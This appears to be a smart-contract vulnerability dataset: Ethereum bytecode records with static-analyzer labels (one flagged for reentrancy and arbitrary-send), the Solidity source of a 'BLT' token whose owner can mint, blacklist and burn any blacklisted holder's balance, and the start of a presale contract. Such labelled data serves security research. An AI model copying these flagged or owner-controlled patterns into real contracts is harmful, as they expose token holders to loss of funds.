be9611e1c565b91509150611c008183611c0790919063ffffffff16565b9250505090565b6000611c4983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e7e565b905092915050565b600080600080600080611c6387611ee1565b955095509550955095509550611cc186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d5685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da281611ff1565b611dac84836120ae565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e0991906128e6565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611e52683635c9adc5dea00000600854611c0790919063ffffffff16565b821015611e7157600854683635c9adc5dea00000935093505050611e7a565b81819350935050505b9091565b60008083118290611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebc91906127c4565b60405180910390fd5b5060008385611ed49190612a21565b9050809150509392505050565b6000806000806000806000806000611efe8a600c54600d546120e8565b9250925092506000611f0e611bdc565b90506000806000611f218e87878761217e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f8b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061170e565b905092915050565b6000808284611fa291906129cb565b905083811015611fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fde90612826565b60405180910390fd5b8091505092915050565b6000611ffb611bdc565b90506000612012828461220790919063ffffffff16565b905061206681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6120c382600854611f4990919063ffffffff16565b6008819055506120de81600954611f9390919063ffffffff16565b6009819055505050565b6000806000806121146064612106888a61220790919063ffffffff16565b611c0790919063ffffffff16565b9050600061213e6064612130888b61220790919063ffffffff16565b611c0790919063ffffffff16565b9050600061216782612159858c611f4990919063ffffffff16565b611f4990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612197858961220790919063ffffffff16565b905060006121ae868961220790919063ffffffff16565b905060006121c5878961220790919063ffffffff16565b905060006121ee826121e08587611f4990919063ffffffff16565b611f4990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561221a576000905061227c565b600082846122289190612a52565b90508284826122379190612a21565b14612277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226e90612846565b60405180910390fd5b809150505b92915050565b60008135905061229181612def565b92915050565b6000815190506122a681612def565b92915050565b6000813590506122bb81612e06565b92915050565b6000815190506122d081612e06565b92915050565b6000813590506122e581612e1d565b92915050565b6000815190506122fa81612e1d565b92915050565b60006020828403121561231257600080fd5b600061232084828501612282565b91505092915050565b60006020828403121561233b57600080fd5b600061234984828501612297565b91505092915050565b6000806040838503121561236557600080fd5b600061237385828601612282565b925050602061238485828601612282565b9150509250929050565b6000806000606084860312156123a357600080fd5b60006123b186828701612282565b93505060206123c286828701612282565b92505060406123d3868287016122d6565b9150509250925092565b600080604083850312156123f057600080fd5b60006123fe85828601612282565b925050602061240f858286016122d6565b9150509250929050565b60006020828403121561242b57600080fd5b6000612439848285016122ac565b91505092915050565b60006020828403121561245457600080fd5b6000612462848285016122c1565b91505092915050565b60008060006060848603121561248057600080fd5b600061248e868287016122eb565b935050602061249f868287016122eb565b92505060406124b0868287016122eb565b9150509250925092565b60006124c683836124d2565b60208301905092915050565b6124db81612ae0565b82525050565b6124ea81612ae0565b82525050565b60006124fb82612986565b61250581856129a9565b935061251083612976565b8060005b8381101561254157815161252888826124ba565b97506125338361299c565b925050600181019050612514565b5085935050505092915050565b61255781612af2565b82525050565b61256681612b35565b82525050565b600061257782612991565b61258181856129ba565b9350612591818560208601612b47565b61259a81612bd8565b840191505092915050565b60006125b2602a836129ba565b91506125bd82612be9565b604082019050919050565b60006125d56022836129ba565b91506125e082612c38565b604082019050919050565b60006125f8601b836129ba565b915061260382612c87565b602082019050919050565b600061261b6021836129ba565b915061262682612cb0565b604082019050919050565b600061263e6020836129ba565b915061264982612cff565b602082019050919050565b60006126616029836129ba565b915061266c82612d28565b604082019050919050565b60006126846024836129ba565b915061268f82612d77565b604082019050919050565b60006126a76017836129ba565b91506126b282612dc6565b602082019050919050565b6126c681612b1e565b82525050565b6126d581612b28565b82525050565b60006020820190506126f060008301846124e1565b92915050565b600060408201905061270b60008301856124e1565b61271860208301846124e1565b9392505050565b600060408201905061273460008301856124e1565b61274160208301846126bd565b9392505050565b600060c08201905061275d60008301896124e1565b61276a60208301886126bd565b612777604083018761255d565b612784606083018661255d565b61279160808301856124e1565b61279e60a08301846126bd565b979650505050505050565b60006020820190506127be600083018461254e565b92915050565b600060208201905081810360008301526127de818461256c565b905092915050565b600060208201905081810360008301526127ff816125a5565b9050919050565b6000602082019050818103600083015261281f816125c8565b9050919050565b6000602082019050818103600083015261283f816125eb565b9050919050565b6000602082019050818103600083015261285f8161260e565b9050919050565b6000602082019050818103600083015261287f81612631565b9050919050565b6000602082019050818103600083015261289f81612654565b9050919050565b600060208201905081810360008301526128bf81612677565b9050919050565b600060208201905081810360008301526128df8161269a565b9050919050565b60006020820190506128fb60008301846126bd565b92915050565b600060a08201905061291660008301886126bd565b612923602083018761255d565b818103604083015261293581866124f0565b905061294460608301856124e1565b61295160808301846126bd565b9695505050505050565b600060208201905061297060008301846126cc565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006129d682612b1e565b91506129e183612b1e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a1657612a15612b7a565b5b828201905092915050565b6000612a2c82612b1e565b9150612a3783612b1e565b925082612a4757612a46612ba9565b5b828204905092915050565b6000612a5d82612b1e565b9150612a6883612b1e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612aa157612aa0612b7a565b5b828202905092915050565b6000612ab782612b1e565b9150612ac283612b1e565b925082821015612ad557612ad4612b7a565b5b828203905092915050565b6000612aeb82612afe565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b4082612b1e565b9050919050565b60005b83811015612b65578082015181840152602081019050612b4a565b83811115612b74576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612df881612ae0565b8114612e0357600080fd5b50565b612e0f81612af2565b8114612e1a57600080fd5b50565b612e2681612b1e565b8114612e3157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122016978429f99c0397654174b22131add566409a2fa6d73f166c173c197d1091e664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,336 |
0x4c0518f61c37733de3d38c7c26f6f08abfb9ef8c
|
/**
*Submitted for verification at Etherscan.io on 2021-05-07
*/
pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract BlackList is Ownable, ERC20 {
mapping (address => bool) public blackListed;
function getOwner() external view returns (address) {
return owner;
}
function getBlackListStatus(address _maker) external view returns (bool) {
return blackListed[_maker];
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(blackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
_burn(_blackListedUser, dirtyFunds);
}
function addBlackList (address _evilUser) public onlyOwner {
blackListed[_evilUser] = true;
}
function removeBlackList (address _clearedUser) public onlyOwner {
blackListed[_clearedUser] = false;
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
/**
* @title BLT
* @author BLT
*
* @dev Standard ERC20 token with burn, mint & blacklist.
*/
contract BLT is BlackList {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Constructor.
* @param name name of the token
* @param symbol symbol of the token, 3-4 chars is recommended
* @param decimals number of decimal places of one token unit, 18 is widely used
* @param totalSupply total supply of tokens in lowest units (depending on decimals)
* @param tokenOwnerAddress address that gets 100% of token supply
*/
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable {
_name = name;
_symbol = symbol;
_decimals = decimals;
// set tokenOwnerAddress as owner of all tokens
_mint(tokenOwnerAddress, totalSupply);
// pay the service fee for contract deployment
feeReceiver.transfer(msg.value);
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(!blackListed[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!blackListed[_from]);
return super.transferFrom(_from, _to, _value);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyOwner returns (bool) {
_mint(account, amount);
return true;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b25780630ecb93c01461022557806318160ddd1461027657806323b872dd146102a1578063313ce56714610334578063395093511461036557806340c10f19146103d857806342966c681461044b57806359bf1abe1461048657806370a08231146104ef578063893d20e8146105545780638da5cb5b146105ab57806395d89b4114610602578063a457c2d714610692578063a9059cbb14610705578063bbde5b2514610778578063dd62ed3e146107e1578063e4997dc514610866578063f2fde38b146108b7578063f3bdc22814610908575b600080fd5b34801561012e57600080fd5b50610137610959565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b5061020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fb565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b506102746004803603602081101561024857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b005b34801561028257600080fd5b5061028b610ac8565b6040518082815260200191505060405180910390f35b3480156102ad57600080fd5b5061031a600480360360608110156102c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ad2565b604051808215151515815260200191505060405180910390f35b34801561034057600080fd5b50610349610b41565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037157600080fd5b506103be6004803603604081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b58565b604051808215151515815260200191505060405180910390f35b3480156103e457600080fd5b50610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfd565b604051808215151515815260200191505060405180910390f35b34801561045757600080fd5b506104846004803603602081101561046e57600080fd5b8101908080359060200190929190505050610c6e565b005b34801561049257600080fd5b506104d5600480360360208110156104a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b3480156104fb57600080fd5b5061053e6004803603602081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd1565b6040518082815260200191505060405180910390f35b34801561056057600080fd5b50610569610d1a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105b757600080fd5b506105c0610d43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060e57600080fd5b50610617610d68565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065757808201518184015260208101905061063c565b50505050905090810190601f1680156106845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069e57600080fd5b506106eb600480360360408110156106b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0a565b604051808215151515815260200191505060405180910390f35b34801561071157600080fd5b5061075e6004803603604081101561072857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaf565b604051808215151515815260200191505060405180910390f35b34801561078457600080fd5b506107c76004803603602081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1c565b604051808215151515815260200191505060405180910390f35b3480156107ed57600080fd5b506108506004803603604081101561080457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3c565b6040518082815260200191505060405180910390f35b34801561087257600080fd5b506108b56004803603602081101561088957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc3565b005b3480156108c357600080fd5b50610906600480360360208110156108da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611079565b005b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114e565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a0833848461121c565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6d57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600354905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2d57600080fd5b610b3884848461137f565b90509392505050565b6000600760009054906101000a900460ff16905090565b6000610bf33384610bee85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b61121c565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5a57600080fd5b610c648383611451565b6001905092915050565b610c7833826115a7565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e005780601f10610dd557610100808354040283529160200191610e00565b820191906000526020600020905b815481529060010190602001808311610de357829003601f168201915b5050505050905090565b6000610ea53384610ea085600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b6001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f0a57600080fd5b610f14838361171f565b905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101e57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561114b57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a957600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561120157600080fd5b600061120c82610cd1565b905061121882826115a7565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561125857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561129457600080fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061138c848484611736565b611425843361142085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b600190509392505050565b600080828401905083811015151561144757600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561148d57600080fd5b6114a28160035461143090919063ffffffff16565b6003819055506114fa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156115e357600080fd5b6115f8816003546116fd90919063ffffffff16565b60038190555061165081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115151561170e57600080fd5b600082840390508091505092915050565b600061172c338484611736565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561177257600080fd5b6117c481600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a72305820ebec46e9462ad0342204e4aae541f5f400f5312c52682bf29c4cd5ee5c4ff0db0029
|
{"success": true, "error": null, "results": {}}
| 4,337 |
0x6338057db85e38ee2d4e8f13a938e4670bdc593f
|
/**
*Submitted for verification at Etherscan.io on 2021-02-06
*/
/*
MIA Presale SmartContract
*/
pragma solidity ^0.7.0;
